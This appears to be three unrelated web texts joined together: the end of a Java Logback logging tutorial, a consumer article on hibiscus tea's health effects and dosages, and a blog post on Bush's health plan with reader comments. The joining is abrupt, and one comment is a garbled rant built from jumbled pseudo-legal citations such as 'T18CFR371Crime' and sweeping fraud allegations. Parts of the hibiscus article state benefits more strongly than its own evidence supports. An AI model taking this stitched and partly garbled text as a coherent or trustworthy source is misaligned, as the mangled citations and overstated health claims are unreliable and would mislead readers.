loggerName; } } The logger that the filter will ignore is specified through the loggerName property. Next, you can easily configure the custom filter: <turboFilter class="com.stackify.logging.IgnoreLoggerFilter"> <LoggerName>colorLogger</LoggerName> </turboFilter> Conclusion You have a number of options to chose from when it comes to logging in the Java ecosystem. Out of all of these, Logback is certainly a great choice and a very powerful library. It also brings several improvements over log4j, such as better overall performance, more advanced filtering possibilities, automatic reloading of configuration files, automatic removal of archived log files and many other advanced and useful features. And, due to the native slf4j support, we also have the unique option to easily switch to a different logging library at any point, if we want to. Overall, the maturity and impressive flexibility of Logback have made it the go-to option next to Log4J2, for most of the Java ecosystem today. Take a look at some of the most common and most detrimental practices that you can run into when making use of logging in a Java application. -

Hibiscus is a flowering plant traditionally brewed as a tart tea with a distinctively bright pink hue. This refreshing beverage is not only tasty but can also remedy a wide range of ailments. It’s claimed to be especially useful for issues related to a sluggish metabolism, weight gain, and high blood pressure. Read on to discover all the benefits of this gentle, antioxidant-rich herb. What Is Hibiscus? Hibiscus is the name of a large genus of flowering plants that are native to multiple tropical, subtropical, and temperate regions. Some notable Hibiscus species are okra (H. esculentus), Chinese hibiscus (H. rosa-sinensis), and common garden hibiscus (H. syriacus) [1, 2, 3]. While several species in this genus are simply referred to as hibiscus, Hibiscus sabdariffa is consumed for its health benefits. This species, which is also known as roselle, red sorrel, or karkade, is usually brewed into a sour tea [4, 5+]. This tea is commonly consumed in many countries such as Nigeria and Tanzania for both its taste and as a remedy for high blood pressure, anemia, liver diseases, and fever. Various parts of the plant are also used in traditional Ayurvedic medicine [6, 7, 5+, 8]. Hibiscus extract has other promising benefits, such as cholesterol-lowering, antioxidant, antibacterial, anti-obesity, and liver- and kidney-protective effects [9+]. Snapshot Proponents - May lower high blood pressure - May improve cholesterol levels - May help lose weight - May lower blood sugar - May help prevent recurring urinary tract infections - May protect the liver and kidneys - Has antioxidant effects Skeptics - Insufficient evidence for several benefits (including traditional folk uses) - Diuretic effects may be unwanted - Effect on blood fat profile dependent on genetics - May induce labor in pregnant women - Megadoses reported to cause liver and testicular toxicity in rats - Can interfere with the absorption of medications - Beneficial compounds might have low bioavailability Components Hibiscus tea is made from a part of the flower called the calyx, which protects the newly-forming flower bud. This plant contains many beneficial chemical compounds such as [10, 11, 5]: - L-ascorbic acid, the purest form of vitamin C, naturally found in plants - Anthocyanins and anthocyanidins such as cyanidin-3 rutinoside and delphinidin - Beta carotene (provitamin A) - Beta-sitosterol, a plant sterol with potential cholesterol-lowering effects - Citric acid, an antioxidant - Polyphenols such as quercetin and gossypetin - Pectin, a soluble fiber In addition, it contains other compounds such as [11, 5, 12]: - Alkaloids that may help fight bacteria - Sugars such as galactose - Wax - The seeds contain fatty acids (linoleic and stearic acid) Mechanism of Action Effects on Blood Pressure Hibiscus is thought to lower blood pressure in two ways. For one, it acts as a diuretic, flushing sodium and fluids with the urine. As a result, the volume of blood decreases and blood pressure drops. Secondly, it blocks angiotensin-converting enzyme (ACE), which relaxes the blood vessels in a similar way as drugs commonly used to lower high blood pressure (ACE inhibitors) [13]. Antioxidant Effects The anthocyanins which give hibiscus its color probably also carry its antioxidant properties. The two main active pigments are delphinidin-sambubioside (red) and cyanidin-sambubioside (pink) [14]. Weight-Loss Action Polyphenols in hibiscus block the enzymes that break down carbohydrates (such as alpha-amylase), which may explain its potential obesity-fighting benefits. Additionally, its antioxidants help neutralize high oxidative stress, which plays a role in obesity. Extracts may also block the formation and buildup of fat cells [14, 15]. Health Benefits Possibly Effective 1) Metabolic Syndrome Metabolic syndrome is a set of conditions that greatly increase the risk of heart disease, stroke, and diabetes. These conditions include insulin resistance, high blood sugar, obesity, high blood pressure, and high cholesterol. They all point to inefficient energy use in the body and high oxidative stress that often results from an unhealthy lifestyle [16]. Metabolic syndrome is very common: about 1 in 4 adults in the world suffer from it. Hibiscus may prevent or potentially improve this syndrome by helping with each condition that falls under its cluster. We go into each of these in detail below [16, 17, 18]. 2) High Blood Pressure Hibiscus is effective at lowering blood pressure, according to a large analysis of 5 studies and 390 people in total. Additionally, hibiscus tea lowered both systolic and diastolic blood pressure in 4 clinical trials of over 200 people with mild to moderate high blood pressure. Overall, this herb is a great option for people whose blood pressure is not too high [11, 19, 20, 21, 22]. The tea was even more effective at lowering mildly-moderately high blood pressure than hydrochlorothiazide (Microzide), a common diuretic blood pressure medication, in a clinical trial of 80 people. To make sure the dosage is right, the amount of tea was adjusted to each person’s weight (0.15 g/kg/day) [6]. In another trial on 78 people with mild to moderate high blood pressure, the same dose of hibiscus extract was as effective as the ACE inhibitor lisinopril (10 mg/day) at lowering the levels of the hormone aldosterone and the enzyme angiotensin-converting enzyme, both of which increase blood pressure [23]. Although drinking hibiscus tea may work well enough, extracts will have a higher concentration of important bioactive compounds. In one trial on almost 200 people, taking a daily dose of dried hibiscus extract standardized to contain 250 mg anthocyanins reduced high blood pressure [13]. Hibiscus calyx, the leaf-like structures at the base of a flower, can also be used. In another trial of 75 people, 10 g/day of dried hibiscus calyx worked as well as captopril (Capoten), a high blood pressure medication. This preparation lowered both systolic and diastolic blood pressure [24]. However, a study of 40 people found that 500 mg/day of its plant powder lowered only systolic blood pressure. This was also true for tea (2 g, 2x/day) in another study of 60 people with type 2 diabetes and high blood pressure [25, 5]. In summary, hibiscus shows promise for lowering high blood pressure, but it is more likely to be beneficial in people with mild symptoms. You may discuss with your doctor if it may help as an add-on to your treatment regime. Never use hibiscus as in place of what your doctor recommends and prescribes. 3) High Cholesterol Drinking hibiscus tea may also help lower cholesterol. In one trial of 53 diabetic people, it increased the “good” HDL cholesterol and decreased triglycerides and total and LDL cholesterol. It could also lower Apo-B100, a protein that forms part of LDL particles and is specifically linked to high cholesterol [26]. Similarly, 100 mg/day of the extract decreased total cholesterol and increased HDL cholesterol. Combined with a healthy diet, it also reduced triglyceride levels in one clinical trial of 51 people with metabolic syndrome and 73 healthy controls [18]. However, in another trial of 40 people with metabolic syndrome, 500 mg/day of hibiscus powder only lowered triglyceride levels without affecting other blood fats. Similarly, a standardized extract (10 mg/day of anthocyanins) reduced triglyceride levels but did not impact cholesterol in a clinical trial of 104 people [25, 27]. In a study in rats, hibiscus calyx extract was better at lowering total cholesterol than the drug simvastatin and enhanced its fat-lowering effects when used in combination [28]. Could Your Genes Affect the Benefits? Although hibiscus seems to mostly help reduce high blood fats, its effects seem hard to pin down. Sometimes it lowers LDL cholesterol, sometimes only triglycerides, and at other times it simply doesn’t work. In one trial of 60 people, the extract only lowered body weight, along with diet and exercise. However, it had no effect on blood fat levels whatsoever [29]. What could be causing these inconsistencies? Interestingly, the culprit may be genetics. While hibiscus improved triglyceride levels in some people (CETP TaqIB B2 carriers), it negatively impacted HDL levels in others (APOE E4 and CETP TaqIB B1B1 carriers). This interesting finding was confirmed in a clinical trial of 48 people with high cholesterol. Although bad news for some, such knowledge can help us make wiser, more targeted decisions and further opens the doors to nutrigenetics [30]. In summary, hibiscus may have a beneficial effect on lowering cholesterol and triglyceride levels, depending on your genetics. It’s also important to remember that the effects can vary depending on what part of the plant is used and how it is prepared. Discuss with your doctor if it may be helpful in your case and carefully follow their recommendations. Insufficient Evidence 1) Blood Sugar Levels Hibiscus extract may be a safe herbal option for people at high risk of diabetes, such as those with metabolic syndrome. The extract (100 mg/day) reduced blood sugar levels in a clinical trial of 124 people. In another trial of 25 men with a low risk (1-10%) of heart disease, 250 mL of a liquid extract lowered both blood sugar and insulin levels [18, 22]. Animal studies support this benefit. In rats with metabolic syndrome, hibiscus extract normalized levels of blood sugar and insulin [31]. Although the results are promising, 2 clinical trials are insufficient to conclude for certain that hibiscus tea helps lower blood sugar. Further clinical research is needed. 2) Weight Loss Oxidative stress appears to play a role in many diseases, including obesity. The antioxidants in hibiscus may potentially reduce oxidative stress and thus, excess weight [14]. In a clinical trial of 36 overweight people, the extract (900 mg, 2x/day) reduced body weight and fat, improving BMI and waist-to-hip ratio [32]. In another trial of 54 overweight people, the combination of hibiscus and lemon verbena lowered levels of the hunger hormone, ghrelin. Lowering ghrelin helps reduce a constant low-grade food craving that may be stopping you from adhering to your diet goals if you’re overweight. What’s more, it also increased GLP-1, a hormone that aids weight loss [33, 34]. Similarly, lemon verbena and hibiscus extracts (in a product called Metabolaid) decreased body weight and body fat in obese mice. Hibiscus extract alone dampened the effects of a high-fat diet and also blocked the formation of new fat cells in hamsters [35, 15]. This gentle plant seems to affect some powerful weight-loss mechanisms in the body. Taken as an extract, it can lower your oxidative stress and hunger, altogether helping you to lose weight. To truly get to the bottom of your weight issues, though, you should combine it with an adequate diet, exercise, and lifestyle changes. Again, the results are promising but the evidence is insufficient to support this use. Larger, more robust clinical trials are needed to validate these preliminary findings. 3) Urinary Tract Infections In a clinical trial of 55 women with recurring UTIs, a supplement containing hibiscus extract, vegetable enzymes, and myrrh extract prevented the infection from coming back and improved quality of life. Since the chronic nature of UTIs is a big problem for many women, effective natural remedies that help prevent their recurrence are extremely important [36]. In another trial on 93 women with recurring UTIs, another supplement with hibiscus extract, L-methionine, and Boswellia serrata was as effective as an antibiotic treatment at reducing the symptoms, improving quality of life, and preventing recurrence [37]. This plant seems to help with UTIs because it helps flush fluids with the urine (and with them some bacteria), and it is also high in vitamin C. Make sure to take it with a lot of water if you suffer from recurrent UTIs, talk to your doctor, and be sure to look into other preventive measures you can take to prevent the infection from coming back [36]. According to clinical observations, drinking hibiscus tea also reduces the incidence of urinary tract infections in people with catheters. These types of UTIs are more complicated and usually harder to resolve, making hibiscus tea a simple and powerful herbal option [38]. Once again, the results are promising but only 2 clinical trials support this potential benefit of hibiscus. More clinical trials on larger populations are needed to confirm them. 4) Liver Health Hibiscus may protect the liver from drugs and toxins or even improve liver health in disease. However, this holds true only if it’s taken at the right dose. Stick to the supplement label, as megadoses of this plant may have the opposite effect. A typical dosage of the extract (900 mg, 3x/day) improved fatty liver disease and reduced free fatty acid blood levels in a clinical trial of 36 overweight people. In rats, it protected the liver against damage caused by the chemotherapy medication methotrexate (Xatmep, Trexall) [32, 39]. However, in another rat study, prolonged exposure to very high doses (15 doses of 250 mg/kg) increased levels of AST and ALT, which can result in liver injury. Such high doses are very unlikely when drinking tea or taking supplements in regular amounts [40]. A single clinical trial and some animal research cannot be considered sufficient evidence that hibiscus helps with liver health. More clinical research is warranted. 5) Kidney Function Overall, the benefits of this plant for people at risk of metabolic diseases extend to the kidneys. Its effects on the kidneys are not isolated from its ability to flush excessive fluids, protect tissues, and lower blood sugar and fats. In 78 people with high blood pressure, an infusion from hibiscus powder (150 mg/kg/day) improved kidney function. It increased urine volume and the removal of creatine. Interestingly, it even outperformed a common high blood pressure medication, lisinopril (Zestril, Prinivil) [41]. Additionally, its extracts lessened the negative effects of chronic kidney disease in rats and reduced kidney inflammation in mice [42, 38]. Again, only one clinical trial and some animal research back this potential health benefit. More research in humans is needed to clearly establish the effects of hibiscus on kidney function. 6) Antioxidant Effects Plant polyphenols are powerful antioxidants, which help the body combat oxidative stress. Hibiscus contains a variety of polyphenols such as quercetin, gossypetin, and flavonoids (anthocyanins and anthocyanidins) [14]. Hibiscus extract (450 mg/day) improved markers of oxidative stress, decreasing malondialdehyde and increasing total antioxidant capacity in a clinical trial of 54 male athletes. What’s more, a single 10 g dose of the extract reduced oxidative stress in a clinical trial of 8 healthy people [43, 44]. In rats, hibiscus extract increased the activity of antioxidant, detox enzymes (superoxide dismutase and catalase) while increasing the master antioxidant glutathione [45]. On the downside, anthocyanins in hibiscus probably have poor bioavailability. They may be broken down in the gut before they even reach the blood. And if they do enter the bloodstream, they are quickly removed via urine by the kidneys. To make matters more complicated, people differ a lot at how quickly they will remove these antioxidants from the body [46]. On the brighter side, hibiscus contains a number of other unique antioxidants that may have better bioavailability. The way the body absorbs, uses, and gets rid of them has yet to be studied in detail [46]. Again the existing evidence is insufficient to claim that hibiscus has antioxidant effects in humans. More clinical trials are needed to shed some light on this subject. 7) Contrast for Imaging Procedures So-called contrast agents are various drugs that can make it possible for various scanners to give an image of the organs that medical professionals can see well. For many people, just the thought of taking a contrast agent before going under a scanner can double the stress. On top of that, some people have allergies or adverse reactions to drugs that are used as contrasts [47]. You may be surprised to know that hibiscus tea may also be used as a natural contrast in a specific imaging technique used to assess gallbladder health (Magnetic resonance cholangiopancreatography). In one study using this technique on 19 healthy volunteers, taking 4g of powdered hibiscus tea reduced the signal intensity of the surrounding organs, increasing the contrast and enhancing the gallbladder imagery [4]. Further research is needed to establish how to use hibiscus for this purpose in a clinical setting. Animal and Cell Studies (Lack of Evidence) No clinical evidence supports the use of hibiscus for any of the conditions listed in this section. Below is a summary of the existing animal and cell-based research, which should guide further investigational efforts. However, the studies should not be interpreted as supportive of any health benefit. Bacterial and Yeast Infections Hibiscus water and ethanol extracts were effective at killing these microorganisms in test tubes [48]: - Escherichia coli, causes food poisoning and serious infections - Staphylococcus aureus, causes staph infections and other serious infections - Pseudomonas aeruginosa, a common hospital-acquired infection - Salmonella enteritidis, causes food poisoning - Vibrio parahaemolyticus, causes food poisoning - Bacillus cereus, causes food poisoning - Candida albicans, causes oral thrush and vaginal yeast infections Note, however, that these are very preliminary results that haven’t been replicated in humans and even in animals. It’s hard to say to what extent hibiscus can fight these microbes when taken as tea or extracts, since it will depend on the availability of its microbe-fighting active compounds. Given its safety and antioxidant activity, though, drinking hibiscus tea may certainly contribute to good defense against bacterial and yeast infections. Cancer Prevention Below, we will discuss some preliminary research on the potential cancer-preventing activity of hibiscus. It’s still in the animal and cell stage and further clinical studies have yet to determine if its compounds are useful in humans. Do not under any circumstances attempt to replace conventional cancer therapies with hibiscus or any other supplements. If you want to use it as a supportive measure, talk to your doctor to avoid any unexpected interactions. In rats, high doses of hibiscus extract protected against DNA damage from cyclophosphamide, a potent pharmaceutical. Similarly, in mice, extracts partially prevented DNA damage from a toxic substance, sodium arsenite [49, 50]. In a cell study, extract from this herb protected cells against DNA damage from potent free radicals. In several other studies, these extracts and their active compounds also blocked cancer cell growth [51, 52, 53, 54]. Possibly Ineffective 1) Kidney Stones In traditional Thai medicine, hibiscus tea is used for healing and preventing kidney stones. However, limited evidence suggests it works to reduce kidney stones [55]. Hibiscus tea (1.5 g, 2x/day) increased the excretion of uric acid through the urine in a trial of 18 people. According to the prevailing belief, excess excretion of uric acid may actually contribute to kidney stones. But since many other important factors can trigger the formation of kidney stones, the effect of hibiscus on uric acid is probably not detrimental [55, 56]. In rats, hibiscus reduced the risk of kidney stones by decreasing the mineral deposits that form them [57, 58]. 2) Anemia In Tanzania, hibiscus tea is commonly used for anemia. However, drinking 1-2 L hibiscus juice (water extract) did not improve iron levels in a clinical trial of 82 people. The iron content in hibiscus is too low to improve iron status in people who are deficient. It may, however, very slightly boost ferritin thanks to its vitamin C content [7]. Side Effects & Precautions Keep in mind that the safety profile of hibiscus is relatively unknown, given the lack of well-designed clinical studies. The list of side effects below is not a definite one, and you should consult your doctor about other potential side effects, based on your health condition and possible drug or supplement interactions. Hibiscus is considered to be non-toxic and was generally well-tolerated with no side effects in multiple clinical trials [59, 32, 20, 13, 9]. However, in rats, very high doses damaged the liver and the testicles. The megadose used was 15X the typical amount. Even at up to 10X the normal dose, the negative effect was mild. Don’t take very high amounts of hibiscus, especially when it comes to extracts. Rather, make sure to adhere to the proven, safe dosage [40, 60]. Pregnant women should avoid drinking or consuming Hibiscus plants as they can potentially induce labor [61]. Limitations and Caveats For some of the traditional uses for hibiscus tea (such as kidney stones and anemia), there are very limited data on whether it works [55, 7]. The studies on its potential anti-cancer and antimicrobial effects were conducted only in animals and cells [49, 50, 51, 52, 53, 54]. Drug Interactions Supplement/Herb/Nutrient-drug interactions can be dangerous and, in rare cases, even life-threatening. Always consult your doctor before supplementing and let them know about all drugs and supplements you are using or considering. Hibiscus tea can interact with pharmaceuticals in a variety of ways. Please discuss with your doctor before taking it with any of your medication. Because this plant is a diuretic, it should not be used with other diuretics, such as hydrochlorothiazide (Microzide) [62]. This diuretic effect can also cause excess excretion of drugs, such as, but not limited to, the following [10, 63]: - Diclofenac (Solaraze, Voltaren, Voltaren-XR, Zorvolex, and more) - Acetaminophen (Tylenol, Ofirmev, FeverAll, Tylophen, and more) It also interacts with the cholesterol medication, simvastatin (Zocor and FloLipid), reducing its effect [28]. Genetic Predispositions Hibiscus affects cholesterol levels differently depending on what versions of the APOE and CETP TaqIB genes you have. It decreased HDL levels in people with APOE E4 and CETP TaqIB B1B1 variants, which is not beneficial. On the other hand, it lowered triglycerides only in people with the CETP TaqIB B2 variant but not in APOE E4 carriers [30]. Supplements & Tea Recipes Hibiscus supplements are available in a variety of forms: - Capsules/tablets - Tea - Powder - Syrup - Extracts - Tinctures Remember that hibiscus supplements have not been approved by the FDA for medical use due to the lack of solid clinical research. Regulations set manufacturing standards for supplements but don’t guarantee that they’re safe or effective. Speak with your doctor before supplementing with hibiscus. Tea Recipe Ingredients: Dried hibiscus calyces or flowers Water Sweetener of choice (optional) Directions: - Use a ratio of 1 cup of water per 1/2 tbsp of hibiscus. - Bring water to a boil. - Add hibiscus to the hot water and steep for at least 10 minutes. - Add sweetener, if desired. - Enjoy! Dosages Tea and Infusions Because hibiscus is not approved by the FDA for any condition, there is no official dose. Users and supplement manufacturers have established unofficial doses based on trial and error. Discuss with your doctor if hibiscus may be useful as a complementary approach in your case and which dose you should take. The dosages for tea mostly ranged from 3-10 g/day of dried hibiscus calyxes or flowers in clinical trials. Infusions can be made with dried hibiscus at 150 mg/kg/day. This would translate to a slightly higher range of 7-15 g/day of the dried herb for most people (110-220 lbs). Dried, Water, and Standardized Extracts Since hibiscus extracts have larger concentrations of active compounds, lower dosages are used. For dried extracts, the dosages ranged from 450-2700 mg/day in clinical trials. A common dosage for water extracts was 250 mL/day. With standardized extracts, the dosage is adjusted to the concentration of anthocyanins, which widely ranged from 10-250 mg/day in clinical trials. Powder A common dosage for hibiscus plant powder was 500 mg/day in clinical trials. Takeaway Hibiscus is a plant that offers many potential health benefits to people who struggle with a slow metabolism or are at risk of metabolic diseases. It may help lower blood pressure, blood fats, and blood sugar while charging the body with useful antioxidants. To get the most benefits out of this plant, you can brew it as a tea or take standardized extracts. It might not lower your blood fats as well if you’re an APOE E4 carrier and its benefits will also depend on the part of the plant used and how it’s processed. Even if you’re just looking to expand your tea assortment with a tasty and invigorating herb, hibiscus will help boost your wellness. It can also aid weight loss and reduce feelings of hunger, especially in combination with lemon verbena. With that in mind, it does act as a diuretic, so be sure to consult your doctor if you’re taking prescription medications.

I’m up over at Spot-on discussing the basics of Bush’s Health Plan. Go read and return to comment..Go on, Continue … Categories: Uncategorized Very interesting discussion about USA Health Plans. I know it’s not easy to manage healthcare from political aspect and countries should learn one from others. This blog is a extremely nice innitiative, congratulations. I also posted the new in to be discussed. It’s unfortunate that we have to see such blatant examples of ignorance. The fact is most people don’t even know what a tax deduction is or how to take advantage of it. The only ones that will benefit from this particular measure would be the upper middle class…the ones who can afford a significant health care which would actually be a pricey enough type of health care plan that a deduction of the premium might actually be a significant savings. Everyone should have the same health care coverage that Bush and members of Congress have. No exceptions!! Why should low income people be paying taxes for health care for these people when they cannot afford health care for themselves? 1998 –U.S.Attorney General & Office of Inspector General – Health Care Fraud and Abuse Control [ T18CFR371Crime ] would be established as an expenditure account within the Federal Hospital Insurance (HI) Trust Fund. .. ” . The Region V HCFA [ Michigan ] office had a record high 940 new MSP cases filed in 1998. Contributing to this were PARTNERSHIP Arrangements with [ Federal HMO T42CFR417 Hospital Dumping ] Contractors and U.S. Attorneys [ T18CFR1518 – T18CFR286 – T18CFR371 ] in Michigan and Ohio ………. . OPM. . Read the October 2006 Health and Human Services (HHS) Office of Inspector General report on Medicaid Payments [ MI OFIS/HCFA T42CFR417 anti-dumping violation/kickback ] for deased [ Federal ] beneficiaries – for more insite into the ongoing Criminal Abuse [ Federal Hospital Insurance Fraud T42CFR417 ] Against Elderly American Citizens with Federal HMO Policies. . 1998 — HEALTH CARE FRAUD AND ABUSE CONTROL PROGRAM [ subject to prosecution ], under the Joint Direction [ T18CFR371-illegal agreement to induce forfiture of Hospital Insurance Benefits DHHS T42CFR417 Anti-dumping violation ] ( Claims ) Health Care Fraud and Abuse. . ‘ / ‘ General Public ‘ – to force criminal HCFA Medicaid kickback applications/conversions -T42CFR417 DHHS employee and Federal HMO employee Hospital Dumping ] . DHHS OIG News Release 21 October 1998 Volentary Disclousure of Health Care Fraud <~ T18CFR371 illegal aggreement ( SELF-Audit ) Contract ] Health Care Providers to 'volentarily report' [ misprison of a felony / T42CFR417 ] Fraudulent Conduct ( Hospital Insurance Fraud DHHS T42sec417 CRIME ) Affecting Medicare, Medicaid and other [ OPM FEHBP et al ] Federal health care programs. Unlike the piolet program,which was only available to ‘certain’ ( ] . The Health Care Financing Administration ( HCFA ) administers the Medicaid program. Authorized under Title XIX of the Social Security Act. . The Anti-Dumping Statute [ Hospital Insurance Fraud DHHS T42CFR417 anti-dumping violation for illegal HCFA Medicaid kickback conversions ] . [ DHHS & Federal HMO T42CFR417 criminal denial of covered Hospital Insurance Benefits/Services ]. . According to the Detroit News, Between 1999 & 2001 Michigan's Medicaid clientele ballooned [ DHHS T42sec417 induced forfiture of existing federal hospital insurance benefits for illegal. . 'grievance procedures' DHHS & Federal HMO Hospital Dumping. . Retired OPM FEHBP Health Insurance Preiums are taken out of Retiree Checks Befor they recieve thier checks. These ' Federal Beneficiaries ' are paying for 'Hospital. . The OIG is an independent entity within -[ white collar criminals ]- the Department of Justice, that reports to both the Attorney General and Congress on issues that affect the Department's personnel or operations. . U.S.Attorney…………Gonzales aide said that she had considered politics in screening applicants. The expanded inquiry, conducted by — the department's [ OIG ] Inspector General and ITS Office of Professional Responsibility —, comes after testimony Wednesday by former Gonzales aide Monica M. Goodling. . ABOVE the LAW — T18CFR371Crime — U.S.Attorney General & Office of Inspector General — 1998 — The Health Care Fraud and Abuse Control [ DHHS T42CFR417 anti-dumping violation ] Account would be established as an expenditure account [ MI OFIS / HCFA Kickback ] within the Federal Hospital Insurance (HI) Trust Fund. . The OIG has jurisdiction over all [ criminal ] complaints of misconduct against Department of Justice Employees [ T18CFR371 Misprison of a felony federal health care offences against american citizens & federal health care programs ] involving Department ATTORNEYS a that arise from their AUTHORITY TO INVESTIGATE, litigate, or provide legal advice are the responsibility of the Department's Office of Professional Responsibility.) . Sincerely, . All Entitled Federal Employee Health Beneficiaries being criminally denied [ DHHS T42CFR417 ] Existing Federal Health Insurance Coverage Title18CFR1001Crime. with unneeded tests and prescriptions. document will. I am an insurance broker who talks to people in need of insurance coverage. I also talk to medicaid people (Under 150% income level) who use government run health care. It is clear to me that government can not provide health care directly to the people. Government can not issue pass ports in a timely manner and would not be able to issue health cares in a timely manner. Look to New Zealand for what national health care does. In New Zealand people buy health insurance supplement plans becasue if they don’t have a supplement plan they can not see a doctor. I like the European medication model where they have no prescriptions and you can get medication easily and cheaply. People buy health food things that are more dangerous than medications being take today. Nationalize the drug companies because it is making and distributing a tangable product but medical services are not something our government can manage effectively or efficiently. Thanks for the comments, Dr. Thom! Jack, Your entire argument is based on administrative expenses and you’re using old data. Administrative cost ratios are down to the 14% to 16% range, which is a significant savings for the entire system. Is it still too high, certainly, but they will never be eliminated and you fail to recognize that fact as well. Medicare and most state Medicaid systems use the private sector to administrate claims; therefore the notion of a single payer system is truly a farce. Furthermore, you have failed to address the real causes of raising healthcare costs in this country…our aging population and the demand for more services. Basic and simple facts you can’t ignore. Where are your facts that to address increased cost of medical technology, drugs, physician fees, medical malpractice, private for-profit specialty hospitals, hospitals sitting on $100’s of millions of dollars and spending billions on expansion projects, etc.? Your single payer system solution is simplistic and narrow-minded and will solve nothing without addressing “ALL” aspects of the healthcare crisis. And no single system payer system in a major industrialized state has been able to resolve the issues either. As far as looking to our friends up north as a model, you must be kidding? Their program is under funded and demands constant infusions of cash from the provincial governments and has annually reduced benefits to their citizens. For example, we enjoyed two visits to the dentist per years in this country, in Canada; it’s one visit every two years. There is a cost benefit differential you are failing to recognize when making you comparison. Germany’s single payer system is having the same problems and their worker nationally went in strike a few short years ago because the government had to cut benefits. If a single payer system is so great, why are we seeing an expansion of private insurance in all of the countries? The fact is there are multiple problems with multiple solutions available to us today. To fail to look at all causes and all solutions is wrong and will only result in putting a band-aid on a hemorrhage. I would agree with you that the Medicaid system is the fist place to look. I would propose expanding enrollment into Medicaid in a similar manner as current Medicare Supplements are sold. A defined number of benefit programs to choose from that meets your personal needs, with modest premiums based on you ability to pay using brackets of percentage of the poverty level. Currently Medicaid is only available to people who fall at the 150% level and below. If we simply expand this program up to the $50,000 income level we will resolve nearly 2/3 of the uninsured problems in the country. W’s HEALTH PLAN = two new Ws’ (Germs?): WINDFALL(W1) and/or WHEREWITHALL(W2) At least that is my conclusion re the following excerpt from THCB dated January 25, 2007 POLICY/POLITICS: Bush’s Health Plan: .” Initially, Kudos’ to you and THCB for being a terrific resource for those involved or interested in health care issues. I believe THCB will prove indispensable for tracking and discussing health care developments in the future. significant email Email: [email protected] Jim Newcomer. Whoa there Mr. Leith, your fallacious premise is showing. You are assuming the that the average medical school matriculate would earn the average income in some other field. They would not. They would excell. They are talented, driven individuals who would earn many times the average in their chosen fields of endevour. An average achiever in our general population could not survive much less much less excell in the medical school curriculum. It takes uncommon ability to adequately grasp the concepts required to safely apply current medical knowlege. The “economic rent plus” you describe is the price society pays for the opportunity costs incurred by the human being who decides to commit himself to this rigourous training program of 9-15 years in legnth. If you want a good system, you need to have good providers. You are going to have to pay for them. I have always tried not to have a big head, but medical school was damn hard, getting in was damn hard. Residency was damn hard and the most I ever made in one year was $17,000. If you don’t make the profession renumerative, even the perfect system will fall to the mediocre level of its providers, as this economy has too many opportunities for the skilled. If I was presented with your scenerio at the front end, I wouldn’t go through the training. If it changed now, I would strongly counsel every potential physician against the profession unless society recognized their value. Life is too short. Fortunately, you can do compensate phsyicians adequately without the apparently distasteful option of actually paying them based on their value. Removing barriers, like universal free medical education, liability reform and advantageous tax treatment of capital investment in systems which have been demonstrated to improve outcomes, such as a colposcope, will go a long way. All this talk of reform is pointless unless you are planning to allow physicians to control costs as you control their payments. Make the reimbursement too tight without such control and watch the practioners flee the system. Ir the upcomming 10% Medicare cut illustrates how society values me, at the end of the year, I will not be taking any new Medicare patients. If future cuts are not addressed in a year or two, I will opt out. Those offended by paying my rates up front can take their care elsewhere. I say once again we get the system we deserve. by the way, if the AMA is the cartel you describe, it has got to be the worse one in the history of the planet. It hasn’t even won me the right to collectively bargain like the lowest paid service sector employee does, my Medicare reimbursement has gone up 1% year for each of the past five years and I am due to take a 40% pay cut from them over the next ten. I wish folks would stop referring to them as some sort of monolith. They are mostly a running joke among my colleagues, especially since the Sunbeam fiasco, and are seen as being in the pocket of corporations. I haven’t been a member for years. I am a firm believer in paying good docs well ($200-500K in wages), just not on the basis of how many tests they order or don’t order. That also falls in the “top 10%” in case we are being picky. The bad docs should be used in lesser responsible positions until they work themselves up the ladder. Of course we have no way of judging that today, but over time we should develop a national database that tracks practice patterns, practice variations, successes and failures, and etc. I would guess with this info the clinics can compete for the better docs. With a single-payer system and a CMS-like reimbursement system the wages will be held in line. The public “should forgive the loans” of the top 10% of physicians. Provide an incentive and the public will benefit. The government could reimburse the medical colleges for those docs with high grades in needed specialties. (And incidentally, I have no horse in this race. I’m retired and not a physician.) Jack Lohman writes: > Good docs should indeed earn in the top 10% wages Well, that means a “good doc” would earn around $75K per year. $100K puts him in the top 5%. So by your lights this problem is entirely solved already. A very gross analysis could look something like this: median income in the US is about $40K. People ought to expect a return on their investments. If a doc invests $1M in his own training (tuition, foregone income) let’s say he ought to realize 5% on that each year, or about $50K. ~$40K + ~$50K ~= $90K, so it seems to me docs are due in justice about $90K in “personal income” each year from a reasonable amount of “medical labor”. Anything docs generally earn above this amounts to economic rent on medical licensure, which is entirely at the pleasure of the government. This of course explains lobbying by the AMA: they have to protect those economic rents. There are about 1M docs in the USA and their fees are about 25% of $1.6T. On a per capita basis, they each get $400K in gross income. Practice expenses are about 50%, leaving them with $200K in “personal income”. Apparently the economic rent on a medical license runs in the neighborhood of $100K per year. I realize this is not uniformly distributed, but that’s a problem for The Guild to solve. Its all very rough but I think I have the outline right and even the figures should be close. The Healthcare Economist may wish to weigh in on this. If a doc also has his own business (private or group practice, whatever) he is due also the returns on his ownership stake in that. Of course, the return on that investment will depend on his management skill, and if he’s distracted from doing “medical labor” in order to manage the business, the “medical labor” component of his income will fall. > their medical training should be totally forgiven if > they ranked high in the graduating class. How will you determine which is a “good doc”? And who pray tell should “forgive” their training? The medical schools (i.e. the docs who did the training)? The bank that holds their student loans? Who? But no matter. As we have seen, the “problem” of educational debt is already handled by their income levels: they’re getting a return on their investment PLUS economic rent on their medical licenses. t sunkyu park, who the hell really knows? As with all Bush proposals, follow the money. It is he who gives the most money to Republicans that will gain the most benefit. And with Bush you know that it will never be the taxpayers or patients. The Dems are only a little bit better because they get much of their money from unions. And unfortunately, from trial attorneys that will block tort reform. It is unfortunate. Without political money driving the system we’d see a fix to the health care system and malpractice fiasco virtually overnight. Barry, I think that’s what we can expect from all Democrats, with the trial lawyers giving some 80% to their campaigns. That’s why I’d prefer seeing tort reform moving forward without tying it to health care. We can’t wait for the latter. You wrote: So, today, you’re better off getting insurance paid for by your employer than taking the cash, getting taxed and buying the same insurance yourself I’m confused by your comment on the last paragraph. Didn’t Bush “propose” the tax cut for whoever purchases his own insurance? My understanding was that “for an individual”, Bush’s proposal wouldn’t reduce or increase health care spending because if he would opt out of the employer provided health insurance, the wage will go up and with that extra money, he could buy the health insurance. I thought Bush’s new proposal would alleviate the industry’s burden of providing health insurance to employees. Am I getting this right? Dr. Thom, Thanks for the great comments. It’s very helpful to hear from someone like yourself who has to deal with this every day. I notice that the recent seven page description of the health reform plan offered by presidential candidate John “Trial Lawyer” Edwards had exactly zero to say 